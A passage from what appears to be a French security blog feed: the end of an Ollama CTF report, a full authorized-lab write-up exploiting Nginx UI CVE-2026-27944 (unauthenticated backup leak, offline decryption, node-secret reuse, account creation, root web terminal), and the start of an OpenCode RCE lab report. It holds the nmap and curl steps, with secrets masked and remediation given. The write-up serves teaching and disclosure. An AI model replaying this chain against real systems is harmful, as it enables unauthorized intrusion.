      <td>Nmap</td>
      <td>7.99</td>
      <td>Reconnaissance réseau — scan de ports et détection de services</td>
    </tr>
    <tr>
      <td>curl</td>
      <td>8.21.0</td>
      <td>Tous les appels API Ollama (blobs, create, push, tags, ps)</td>
    </tr>
    <tr>
      <td>Python 3</td>
      <td>3.13.15</td>
      <td>Génération du GGUF malveillant, registry HTTP récepteur, décodeur F32→F16</td>
    </tr>
    <tr>
      <td>ffuf</td>
      <td>2.1.0-dev</td>
      <td>Fuzzing des endpoints HTTP d’Ollama</td>
    </tr>
    <tr>
      <td>sha256sum</td>
      <td>—</td>
      <td>Calcul du digest pour l’upload des blobs</td>
    </tr>
  </tbody>
</table>

<h3 id="versions-concernées">Versions concernées</h3>

<table>
  <thead>
    <tr>
      <th>Logiciel</th>
      <th>Version vulnérable</th>
      <th>Version corrigée</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Ollama</td>
      <td>≤ 0.17.0</td>
      <td>≥ 0.17.1</td>
    </tr>
    <tr>
      <td>Modèle testé</td>
      <td>tinyllama:1.1b-chat-v1-q2_K</td>
      <td>—</td>
    </tr>
  </tbody>
</table>

<h3 id="identifiants-techniques">Identifiants techniques</h3>

<ul>
  <li><strong>CWE-125</strong> : Out-of-bounds Read</li>
  <li><strong>CVSS v3.1 Score</strong> : 9.1 (Critique) — vecteur réseau, sans authentification, confidentialité haute</li>
  <li><strong>CAPEC</strong> : patterns d’attaque liés à la lecture hors limites de buffers heap</li>
</ul>]]></content><author><name>Mohammed Berrahal</name></author><category term="CTF" /><category term="Exploit" /><category term="ctf" /><category term="ollama" /><category term="cve-2026-7482" /><category term="bleeding-llama" /><category term="heap-oob-read" /><category term="gguf" /><category term="..." /><summary type="html"><![CDATA[Rapport CVE-2026-7482 — Hollowford CTF Bleeding Llama : Exploitation complète d’Ollama 0.17.0 Date : 29 octobre 2026 Flag : flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d]]></summary></entry><entry><title type="html">Lab Bak2Root : de la sauvegarde non authentifiée (CVE-2026-27944) au shell root sur Nginx UI</title><link href="https://medberrahal.github.io//web/cybers%C3%A9curit%C3%A9/lab-Bak2root/" rel="alternate" type="text/html" title="Lab Bak2Root : de la sauvegarde non authentifiée (CVE-2026-27944) au shell root sur Nginx UI" /><published>2026-10-23T00:00:00+00:00</published><updated>2026-10-23T00:00:00+00:00</updated><id>https://medberrahal.github.io//web/cybers%C3%A9curit%C3%A9/lab-Bak2root</id><content type="html" xml:base="https://medberrahal.github.io//web/cybers%C3%A9curit%C3%A9/lab-Bak2root/"><![CDATA[<h1 id="lab-bak2root--de-la-fuite-de-sauvegarde-au-shell-root-sur-nginx-ui">Lab Bak2Root : de la fuite de sauvegarde au shell root sur Nginx UI</h1>

<blockquote>
  <p><strong>Cible déclarée :</strong> <code class="language-plaintext highlighter-rouge">176.16.164.232</code>
<strong>Interface observée :</strong> <code class="language-plaintext highlighter-rouge">http://176.16.164.232:18082/</code>
<strong>Contexte :</strong> lab autorisé ; la preuve a été limitée à l’extraction d’une sauvegarde publique, son déchiffrement hors ligne, puis à la lecture du fichier de flag via le terminal web
<strong>Résultat :</strong> ✅ flag local récupéré via le terminal web, dans un conteneur avec <code class="language-plaintext highlighter-rouge">uid=0(root)</code></p>
</blockquote>

<blockquote>
  <p>⚠️ <strong>Précaution de publication :</strong> la clé/IV de déchiffrement, le secret de nœud, le hash bcrypt et le mot de passe du compte de lab ne sont pas reproduits dans ce rapport.</p>
</blockquote>

<h2 id="1-résumé-du-résultat">1. Résumé du résultat</h2>

<p>La reconnaissance initiale a trouvé SSH sur le port 22, mais aucun service HTTP visible dans le scan par défaut. Une énumération de tous les ports TCP a ensuite découvert le port <code class="language-plaintext highlighter-rouge">18082/tcp</code>, qui servait une interface <strong>Nginx UI</strong>.</p>

<p>L’endpoint <code class="language-plaintext highlighter-rouge">/api/backup</code> répondait sans authentification et livrait une archive accompagnée d’un en-tête <code class="language-plaintext highlighter-rouge">X-Backup-Security</code> contenant la clé et l’IV de déchiffrement. Une fois la sauvegarde déchiffrée hors ligne, le fichier <code class="language-plaintext highlighter-rouge">app.ini</code> extrait a révélé un secret de nœud (<code class="language-plaintext highlighter-rouge">[node] secret</code>). Ce secret, rejoué dans l’en-tête <code class="language-plaintext highlighter-rouge">X-Node-Secret</code>, a authentifié des appels à l’API <code class="language-plaintext highlighter-rouge">/api/nodes</code> et permis la création d’un compte de lab. La connexion à l’interface web avec ce compte a donné accès à un terminal intégré, dont le shell tournait avec <code class="language-plaintext highlighter-rouge">uid=0(root)</code> dans le conteneur Nginx UI. La lecture de <code class="language-plaintext highlighter-rouge">/home/local.txt</code> a renvoyé :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag_b5c64043_fc4c_43d3_9210_90fa2c22f5c0
</code></pre></div></div>

<p>Le fichier <code class="language-plaintext highlighter-rouge">/root/proof.txt</code>, lui, n’existait pas dans ce conteneur — ce qui confirme des privilèges root locaux au conteneur, pas nécessairement à l’hôte ou à un autre conteneur du nœud distant.</p>

<h2 id="2-cve-2026-27944-en-bref">2. CVE-2026-27944 en bref</h2>

<p>L’avis du projet Nginx UI décrit un endpoint de sauvegarde (<code class="language-plaintext highlighter-rouge">/api/backup</code>) accessible sans authentification, qui divulgue dans sa réponse la clé et l’IV nécessaires au déchiffrement de l’archive qu’il sert. Une fois l’archive déchiffrée, le fichier de configuration <code class="language-plaintext highlighter-rouge">app.ini</code> qu’elle contient expose à son tour le secret de nœud (<code class="language-plaintext highlighter-rouge">[node] secret</code>), lequel peut authentifier des requêtes API sans mot de passe via l’en-tête <code class="language-plaintext highlighter-rouge">X-Node-Secret</code>.</p>

<p>Dans ce lab, la chaîne complète — fuite de sauvegarde, déchiffrement, extraction du secret, réutilisation API — a été rejouée de bout en bout contre l’hôte autorisé. La preuve comportementale est la création réussie d’un compte via l’API authentifiée par le secret de nœud, puis l’obtention d’un shell root par le terminal web intégré à l’interface.</p>

<h2 id="3-méthode-et-lien-entre-les-étapes">3. Méthode et lien entre les étapes</h2>

<p>La séquence suivie est :</p>

<ol>
  <li>repérer les ports ouverts ;</li>
  <li>énumérer tous les ports TCP après un scan initial incomplet ;</li>
  <li>identifier l’interface Nginx UI sur le port découvert ;</li>
  <li>extraire la sauvegarde exposée par <code class="language-plaintext highlighter-rouge">/api/backup</code> ;</li>
  <li>déchiffrer la sauvegarde hors ligne avec la clé/IV divulguées ;</li>
  <li>analyser les fichiers extraits pour trouver le secret de nœud ;</li>
  <li>réutiliser ce secret pour authentifier des appels API et créer un compte ;</li>
  <li>se connecter à l’interface web et ouvrir le terminal intégré ;</li>
  <li>lire le fichier du flag dans ce terminal.</li>
</ol>

<p>Chaque étape réduit une incertitude nécessaire à la suivante. L’énumération complète des ports permet de joindre la bonne application ; la fuite de sauvegarde fournit la matière à déchiffrer ; le déchiffrement révèle le secret de nœud ; ce secret ouvre l’accès à l’API, qui permet de créer un compte légitime ; ce compte donne enfin accès au terminal web, où le flag est lu directement.</p>

<blockquote>
  <p>ℹ️ Une tentative de casse du hash bcrypt trouvé dans la base SQLite (compte admin) avec John et <code class="language-plaintext highlighter-rouge">rockyou.txt</code> a été interrompue après environ 0,01 % de la wordlist sans résultat : cette piste n’a pas été nécessaire pour la suite.</p>
</blockquote>

<h2 id="4-étape-1--scan-initial">4. Étape 1 — Scan initial</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-A</span> 176.16.164.232
</code></pre></div></div>

<p>Sortie pertinente :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.14
</code></pre></div></div>

<p><strong>Pourquoi cette étape :</strong> le scan initial identifie les services accessibles sur les ports courants. Il a confirmé la présence de SSH, mais n’a affiché aucun service HTTP — ce qui ne démontrait pas que tous les autres ports étaient fermés, seulement que l’ensemble de ports par défaut de Nmap ne couvrait rien de pertinent ici.</p>

<p><strong>Interprétation :</strong> l’absence de service web dans ce premier scan ne permet pas de conclure à son absence réelle sur l’hôte ; elle appelle une énumération plus large.</p>

<h2 id="5-étape-2--énumération-complète-des-ports-tcp">5. Étape 2 — Énumération complète des ports TCP</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-Pn</span> <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-sV</span> <span class="nt">-T4</span> 176.16.164.232
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.14
18082/tcp open  http    nginx 1.29.3
</code></pre></div></div>

<p><strong>Explication des options :</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-Pn</code> demande à Nmap de ne pas effectuer de découverte d’hôte préalable</li>
  <li><code class="language-plaintext highlighter-rouge">-p-</code> parcourt tous les ports TCP</li>
  <li><code class="language-plaintext highlighter-rouge">--open</code> n’affiche que les ports trouvés ouverts</li>
  <li><code class="language-plaintext highlighter-rouge">-sV</code> tente d’identifier les versions de service</li>
  <li><code class="language-plaintext highlighter-rouge">-T4</code> choisit une vitesse de scan rapide</li>
</ul>

<p><strong>Interprétation :</strong> le service HTTP se trouvait en réalité sur le port 18082, pas sur le port 9000 mentionné plus tard dans la configuration interne de l’application. Ce dernier est un port d’écoute interne, non exposé directement sur l’adresse cible.</p>

<h2 id="6-étape-3--extraire-la-sauvegarde-via-apibackup">6. Étape 3 — Extraire la sauvegarde via /api/backup</h2>

<p>Une première requête au port interne a logiquement échoué :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> <span class="nt">--max-time</span> 8 http://176.16.164.232:9000/api/backup
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl: (7) Failed to connect to 176.16.164.232 port 9000
</code></pre></div></div>

<blockquote>
  <p>ℹ️ Cet échec ne signale pas une erreur de méthode ; il confirme simplement que le port 9000 n’est pas directement joignable depuis l’extérieur, contrairement au port 18082 découvert à l’étape précédente.</p>
</blockquote>

<p>La requête a été répétée sur le port réellement exposé :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sS</span> <span class="nt">--max-time</span> 30 <span class="se">\</span>
  <span class="nt">-D</span> headers.txt <span class="se">\</span>
  <span class="nt">-o</span> backup.zip <span class="se">\</span>
  http://176.16.164.232:18082/api/backup
</code></pre></div></div>

<p>Vérification des métadonnées :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">head</span> <span class="nt">-n</span> 1 headers.txt
<span class="nb">grep</span> <span class="nt">-iE</span> <span class="s1">'^(Content-Type|Content-Disposition):'</span> headers.txt
<span class="nb">grep</span> <span class="nt">-qi</span> <span class="s1">'^X-Backup-Security:'</span> headers.txt <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s1">'X-Backup-Security présent'</span>
file backup.zip
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: application/zip
Content-Disposition: attachment; filename=backup-20261023-133839.zip
X-Backup-Security présent
backup.zip: Zip archive data, made by v2.0 UNIX
</code></pre></div></div>

<p><strong>Pourquoi cette étape :</strong> confirmer que <code class="language-plaintext highlighter-rouge">/api/backup</code> répond sans authentification et observer l’en-tête <code class="language-plaintext highlighter-rouge">X-Backup-Security</code>, qui est le point de fuite décrit par l’avis CVE-2026-27944.</p>

<p><strong>Interprétation :</strong> l’endpoint a livré une archive complète accompagnée des secrets de déchiffrement dans sa propre réponse HTTP — c’est la condition initiale de la vulnérabilité. Les valeurs de cet en-tête ne sont pas reproduites ici.</p>

<h2 id="7-étape-4--déchiffrement-hors-ligne">7. Étape 4 — Déchiffrement hors ligne</h2>

<p>L’installation de PyCryptodome via pip a échoué, faute d’accès réseau depuis Kali vers PyPI :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Failed to establish a new connection: [Errno 101] Network is unreachable
</code></pre></div></div>

<p>OpenSSL (version 3.6.4) était disponible localement. Un script Python a donc lu la clé et l’IV depuis <code class="language-plaintext highlighter-rouge">headers.txt</code> puis appelé <code class="language-plaintext highlighter-rouge">openssl enc -d -aes-256-cbc</code> :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 decrypt_openssl.py
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Déchiffré : backup_out/hash_info.txt
Extrait : backup_out/nginx-ui
Extrait : backup_out/nginx
</code></pre></div></div>

<p>Fichiers extraits recensés :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>backup_out/hash_info.txt
backup_out/nginx/sites-available/dojo-internal.conf
backup_out/nginx/sites-enabled/dojo-internal.conf
backup_out/nginx/mime.types
backup_out/nginx/modules
backup_out/nginx/conf.d/sites-enabled.conf
backup_out/nginx/conf.d/nginx-ui.conf
backup_out/nginx/nginx.conf
backup_out/nginx/fastcgi_params
backup_out/nginx/scgi_params
backup_out/nginx/uwsgi_params
backup_out/nginx-ui/database.db
backup_out/nginx-ui/app.ini
</code></pre></div></div>

<p><strong>Pourquoi cette étape :</strong> l’archive seule ne sert à rien sans déchiffrement ; cette étape transforme la fuite réseau en données exploitables localement.</p>

<p><strong>Interprétation :</strong> <code class="language-plaintext highlighter-rouge">hash_info.txt</code> indiquait une version <code class="language-plaintext highlighter-rouge">2.3.2</code> de Nginx UI. Un premier grep sur les fichiers extraits n’a trouvé aucune occurrence de <code class="language-plaintext highlighter-rouge">flag</code> ou <code class="language-plaintext highlighter-rouge">bak2root</code> en texte clair — ce qui ne suffisait pas à exclure des indices dans la base SQLite, qui restait à examiner.</p>

<h2 id="8-étape-5--analyser-la-configuration-et-la-base-extraites">8. Étape 5 — Analyser la configuration et la base extraites</h2>

<p><code class="language-plaintext highlighter-rouge">app.ini</code> contenait notamment :</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[server]</span>
<span class="py">host</span> <span class="p">=</span> <span class="s">127.0.0.1</span>
<span class="py">port</span> <span class="p">=</span> <span class="s">9000</span>

<span class="nn">[node]</span>
<span class="py">name</span> <span class="p">=</span> <span class="s">SecDojo Lab</span>
<span class="py">secret</span> <span class="p">=</span> <span class="s">&lt;masqué&gt;</span>
</code></pre></div></div>

<p>Le virtual host sauvegardé a été affiché avec :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">nl</span> <span class="nt">-ba</span> backup_out/nginx/sites-available/dojo-internal.conf
</code></pre></div></div>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">server</span> <span class="p">{</span>
    <span class="kn">listen</span> <span class="mi">8081</span><span class="p">;</span>
    <span class="kn">listen</span> <span class="s">[::]:8081</span><span class="p">;</span>
    <span class="kn">server_name</span> <span class="s">dojo-internal.local</span><span class="p">;</span>

    <span class="c1"># internal-only lab vhost</span>
    <span class="kn">location</span> <span class="n">/</span> <span class="p">{</span>
        <span class="kn">add_header</span> <span class="s">Content-Type</span> <span class="nc">text/plain</span><span class="p">;</span>
        <span class="kn">return</span> <span class="mi">200</span> <span class="s">"restricted</span> <span class="s">internal</span> <span class="s">node</span><span class="err">\</span><span class="s">n"</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Pourquoi cette étape :</strong> identifier dans la configuration extraite un secret réutilisable côté API, plutôt que de s’arrêter à la seule lecture de fichiers de configuration Nginx.</p>

<p><strong>Interprétation :</strong> la base SQLite contenait une table <code class="language-plaintext highlighter-rouge">users</code> avec un compte admin (hash bcrypt <code class="language-plaintext highlighter-rouge">$2a$</code>, 60 caractères) et une table <code class="language-plaintext highlighter-rouge">nodes</code> référençant un nœud <code class="language-plaintext highlighter-rouge">node-1</code> vers <code class="language-plaintext highlighter-rouge">http://nginx-demo-2:9000</code>, rapporté hors ligne (<code class="language-plaintext highlighter-rouge">status: false</code>). Un test avec l’en-tête <code class="language-plaintext highlighter-rouge">Host: dojo-internal.local</code> sur le port exposé a renvoyé la page HTML standard de Nginx UI (200 OK), pas le texte « restricted internal node » : ce vhost est donc resté interne et n’a pas été atteint directement. Le secret <code class="language-plaintext highlighter-rouge">[node]</code> extrait d’<code class="language-plaintext highlighter-rouge">app.ini</code>, lui, s’est avéré être la clé réellement exploitable.</p>

<h2 id="9-étape-6--vérifier-létat-dinstallation-puis-réutiliser-le-secret-de-nœud">9. Étape 6 — Vérifier l’état d’installation puis réutiliser le secret de nœud</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sS</span> <span class="nt">-i</span> <span class="nt">--max-time</span> 10 <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Host: dojo-internal.local'</span> <span class="se">\</span>
  http://176.16.164.232:18082/api/install
</code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"lock"</span><span class="p">:</span><span class="kc">true</span><span class="p">,</span><span class="nl">"timeout"</span><span class="p">:</span><span class="kc">false</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Pourquoi cette étape :</strong> vérifier que l’installation était verrouillée avant toute autre hypothèse — il n’était donc pas justifié de supposer qu’une fenêtre non authentifiée de restauration (<code class="language-plaintext highlighter-rouge">/api/restore</code>) était ouverte, et aucune restauration forgée n’a été tentée.</p>

<p>Le secret <code class="language-plaintext highlighter-rouge">[node]</code> extrait localement a ensuite été transmis dans l’en-tête <code class="language-plaintext highlighter-rouge">X-Node-Secret</code> :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /api/nodes
X-Node-Secret: &lt;valeur locale masquée&gt;
</code></pre></div></div>

<p><strong>Interprétation :</strong> la réponse HTTP 200 a retourné les métadonnées du nœud (URL <code class="language-plaintext highlighter-rouge">http://nginx-demo-2:9000</code>, état <code class="language-plaintext highlighter-rouge">false</code>, version vide). Cela confirme que le secret de nœud divulgué par la sauvegarde authentifie bien des requêtes API sans mot de passe, comme le décrit la documentation du projet.</p>

<h2 id="10-étape-7--créer-un-compte-de-lab-via-lapi">10. Étape 7 — Créer un compte de lab via l’API</h2>

<p>Un compte <code class="language-plaintext highlighter-rouge">aka</code> a été créé avec le même secret de nœud transmis depuis le fichier local :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP 200
{"id":2,"created_at":"2026-10-23T13:58:50.572237208Z","updated_at":"2026-10-23T13:58:50.572237208Z","name":"aka","status":true,"enabled_2fa":false,"language":"en"}
</code></pre></div></div>

<blockquote>
  <p>💡 Les premières commandes <code class="language-plaintext highlighter-rouge">id</code>, <code class="language-plaintext highlighter-rouge">cat /home/local.txt</code> et <code class="language-plaintext highlighter-rouge">cat /root/proof.txt</code> avaient d’abord été saisies dans le terminal <strong>local Kali</strong> : elles affichaient l’utilisateur <code class="language-plaintext highlighter-rouge">hitotsu</code> et des erreurs de fichier absent ou d’accès refusé. Elles ne décrivaient donc pas la cible — il fallait saisir ces commandes dans le terminal web Nginx UI, pas à l’invite Kali.</p>
</blockquote>

<p><strong>Pourquoi cette étape :</strong> transformer l’accès API en accès interactif réel sur l’interface, via un compte créé légitimement grâce au secret rejoué.</p>

<h2 id="11-étape-8--connexion-à-linterface-web-et-ouverture-du-terminal">11. Étape 8 — Connexion à l’interface web et ouverture du terminal</h2>

<p>Après la création du compte <code class="language-plaintext highlighter-rouge">aka</code>, l’interface Nginx UI a été ouverte dans le navigateur à l’adresse suivante :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://176.16.164.232:18082/
</code></pre></div></div>

<p>Une fois connecté avec le compte de lab, il fallait sélectionner <strong>Terminal</strong> dans le menu latéral gauche. La capture ci-dessous montre l’interface sur <code class="language-plaintext highlighter-rouge">http://176.16.164.232:18082/#/terminal</code>, avec la rubrique Terminal sélectionnée et les onglets de terminal visibles.</p>

<p align="center"><a href="/assets/images/banan1.png"><img src="/assets/images/banan1.png" /></a></p>

<p>Le grand panneau noir correspond au terminal intégré. Il faut cliquer à l’intérieur de ce panneau pour lui donner le focus, puis saisir les commandes à l’invite qui apparaît. Les commandes doivent être tapées dans ce panneau, pas dans le terminal local Kali. Si le panneau Assistant affiche une erreur de connexion à OpenAI, cela concerne uniquement l’assistant intégré ; fermer ou masquer ce panneau ne ferme pas le terminal.</p>

<h2 id="12-étape-9--ouvrir-le-terminal-web-et-lire-le-flag">12. Étape 9 — Ouvrir le terminal web et lire le flag</h2>

<p>Connexion à l’interface :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://176.16.164.232:18082/
</code></pre></div></div>

<p>Après connexion avec le compte <code class="language-plaintext highlighter-rouge">aka</code>, l’onglet <strong>Terminal</strong> du menu latéral a ouvert un terminal intégré sur <code class="language-plaintext highlighter-rouge">http://176.16.164.232:18082/#/terminal</code>.</p>

<blockquote>
  <p>ℹ️ Si le panneau Assistant affiche une erreur de connexion à OpenAI, cela concerne uniquement l’assistant intégré ; fermer ou masquer ce panneau ne ferme pas le terminal.</p>
</blockquote>

<p>Le shell ouvert avait pour invite :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@8c525d1b69e7:/run/s6-rc:s6-rc-init:ecglpa/servicedirs/nginx-ui#
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">hostname
id</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>8c525d1b69e7
uid=0(root) gid=0(root) groups=0(root)
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /home/local.txt<span class="p">;</span> <span class="nb">cat</span> /root/proof.txt
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag_b5c64043_fc4c_43d3_9210_90fa2c22f5c0
cat: /root/proof.txt: No such file or directory
</code></pre></div></div>

<p><strong>Pourquoi cette étape :</strong> confirmer les privilèges (<code class="language-plaintext highlighter-rouge">uid=0</code>) avant de lire le fichier cible, puis récupérer le flag.</p>

<p><strong>Interprétation :</strong> <code class="language-plaintext highlighter-rouge">/home/local.txt</code> a donné le flag ; <code class="language-plaintext highlighter-rouge">/root/proof.txt</code> n’existait pas dans ce conteneur. Le flag a donc été récupéré par le terminal web après l’accès API, et non par une restauration modifiée — cette distinction compte, car la piste <code class="language-plaintext highlighter-rouge">/api/restore</code> n’a jamais été empruntée dans ce déroulement.</p>

<h2 id="12-conclusion-et-remédiation">12. Conclusion et remédiation</h2>

<p>Le lab a exposé une interface Nginx UI sur <code class="language-plaintext highlighter-rouge">176.16.164.232:18082</code>. L’endpoint <code class="language-plaintext highlighter-rouge">/api/backup</code>, accessible sans authentification, a divulgué dans sa propre réponse la clé et l’IV permettant de déchiffrer l’archive qu’il servait. Le fichier <code class="language-plaintext highlighter-rouge">app.ini</code> extrait de cette archive a révélé un secret de nœud réutilisable, qui a permis de créer un compte via l’API puis d’ouvrir un shell root dans le conteneur Nginx UI via le terminal web intégré.</p>

<p>La remédiation recommandée est de corriger la version affectée par CVE-2026-27944, de ne jamais transmettre de clé ou d’IV de déchiffrement dans les en-têtes de réponse d’un endpoint de sauvegarde, et de faire tourner (rotate) tout secret de nœud potentiellement exposé par une sauvegarde antérieure à la mise à jour. Restreindre l’accès à <code class="language-plaintext highlighter-rouge">/api/backup</code> par authentification et limiter l’exposition réseau des ports internes (9000) réduisent également la surface d’attaque.</p>

<blockquote>
  <p>ℹ️ La preuve démontrée ici a été limitée à l’extraction et au déchiffrement de la sauvegarde exposée, à la réutilisation du secret de nœud pour créer un compte, puis à la lecture du fichier de flag via le terminal légitime de l’interface. Aucune restauration forgée, exécution de commande via <code class="language-plaintext highlighter-rouge">/api/restore</code>, ni altération de configuration n’a été tentée.</p>
</blockquote>

<h2 id="leçons-retenues">Leçons retenues</h2>

<ul>
  <li>Un scan initial sans option <code class="language-plaintext highlighter-rouge">-p-</code> peut masquer un service exposé sur un port inhabituel (ici 18082) : l’énumération complète des ports reste indispensable quand le premier scan ne trouve rien de pertinent côté web.</li>
  <li>Un en-tête de réponse HTTP peut à lui seul constituer la fuite critique d’une vulnérabilité : ici, <code class="language-plaintext highlighter-rouge">X-Backup-Security</code> livrait la clé/IV nécessaires au déchiffrement, sans qu’aucune authentification ne soit requise pour l’obtenir.</li>
  <li>Un secret retrouvé dans une configuration extraite (<code class="language-plaintext highlighter-rouge">[node] secret</code>) peut avoir une portée qui dépasse son fichier d’origine : il a ici authentifié des appels API indépendants de la sauvegarde elle-même.</li>
  <li>Documenter précisément ce qui a été exécuté côté client (Kali) versus dans l’environnement distant atteint (terminal web du conteneur) évite toute confusion sur la portée réelle des preuves — les premières commandes tapées par erreur dans Kali n’apportaient aucune information sur la cible.</li>
  <li>Vérifier l’état d’un endpoint sensible (<code class="language-plaintext highlighter-rouge">/api/install</code> verrouillé) avant de formuler une hypothèse d’exploitation évite de tenter des actions non justifiées, comme une restauration forgée qui n’a ici jamais été nécessaire.</li>
</ul>

<h2 id="références">Références</h2>

<ul>
  <li>Avis du projet Nginx UI pour CVE-2026-27944 (fuite de clé/IV via <code class="language-plaintext highlighter-rouge">/api/backup</code>, réutilisation du secret de nœud <code class="language-plaintext highlighter-rouge">X-Node-Secret</code>)</li>
</ul>]]></content><author><name>Mohammed Berrahal</name></author><category term="Web" /><category term="Cybersécurité" /><category term="nginx-ui" /><category term="cve-2026-27944" /><category term="ssrf" /><category term="api-abuse" /><category term="node-secret" /><category term="terminal-web" /><category term="privesc" /><category term="secdojo" /><category term="ctf" /><category term="pentest" /><summary type="html"><![CDATA[Lab Bak2Root : de la fuite de sauvegarde au shell root sur Nginx UI]]></summary></entry><entry><title type="html">Lab OpenCode : validation de CVE-2026-22812 et récupération du flag (RCE non authentifiée)</title><link href="https://medberrahal.github.io//web/cybers%C3%A9curit%C3%A9/Lab-OpenCode/" rel="alternate" type="text/html" title="Lab OpenCode : validation de CVE-2026-22812 et récupération du flag (RCE non authentifiée)" /><published>2026-10-21T00:00:00+00:00</published><updated>2026-10-21T00:00:00+00:00</updated><id>https://medberrahal.github.io//web/cybers%C3%A9curit%C3%A9/-Lab-OpenCode</id><content type="html" xml:base="https://medberrahal.github.io//web/cybers%C3%A9curit%C3%A9/Lab-OpenCode/"><![CDATA[<h1 id="lab-opencode--validation-de-cve-2026-22812-et-récupération-du-flag">Lab OpenCode : validation de CVE-2026-22812 et récupération du flag</h1>

<blockquote>
  <p><strong>Cible déclarée :</strong> <code class="language-plaintext highlighter-rouge">176.16.163.253</code>
<strong>Interface observée :</strong> <code class="language-plaintext highlighter-rouge">http://176.16.163.253:4096/</code>
<strong>Contexte :</strong> lab autorisé ; la preuve d’exécution a été limitée à <code class="language-plaintext highlighter-rouge">id</code>, suivie de la recherche et de la lecture du fichier de flag
<strong>Résultat :</strong> ✅ l’API OpenCode a exécuté une commande sous <code class="language-plaintext highlighter-rouge">codesource</code>, le fichier <code class="language-plaintext highlighter-rouge">/home/local.txt</code> a révélé le flag</p>
</blockquote>

<blockquote>
  <p>⚠️ <strong>Précaution de publication :</strong> l’identifiant de session API a été omis. Les réponses JSON sont résumées pour ne pas exposer inutilement les identifiants de messages et de session.</p>
</blockquote>

<h2 id="1-résumé-du-résultat">1. Résumé du résultat</h2>

<p>La reconnaissance initiale a trouvé SSH sur le port 22. Le port 443 refusait la connexion HTTP. Une énumération de tous les ports TCP a ensuite découvert le port <code class="language-plaintext highlighter-rouge">4096/tcp</code> ; WhatWeb et une requête cURL ont montré que ce port sert une interface web intitulée <strong>OpenCode</strong>.</p>

<p>Dans le cadre autorisé, une session a été créée par l’API puis la commande inoffensive <code class="language-plaintext highlighter-rouge">id</code> a été exécutée au moyen de l’endpoint shell. La réponse a indiqué <code class="language-plaintext highlighter-rouge">uid=1001(codesource) gid=1001(codesource)</code>. Une recherche limitée aux noms de fichiers susceptibles de contenir le flag a trouvé <code class="language-plaintext highlighter-rouge">/home/local.txt</code>. La lecture de ce fichier a renvoyé :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag_fab05cce_77d9_4a58_8e02_141b3c8265d3
</code></pre></div></div>

<p>Ces résultats confirment qu’une commande distante non authentifiée a été exécutée dans l’environnement du service exposé. Ils sont compatibles avec <strong>CVE-2026-22812</strong>, mais les sorties partagées ne montrent pas la version précise d’OpenCode. La présence de l’interface et la réussite de l’API ne permettent donc pas, à elles seules, de certifier la version affectée ; l’avis GitHub indique que les versions antérieures à <strong>1.0.216</strong> sont concernées et que 1.0.216 corrige la faille.</p>

<h2 id="2-cve-2026-22812-en-bref">2. CVE-2026-22812 en bref</h2>

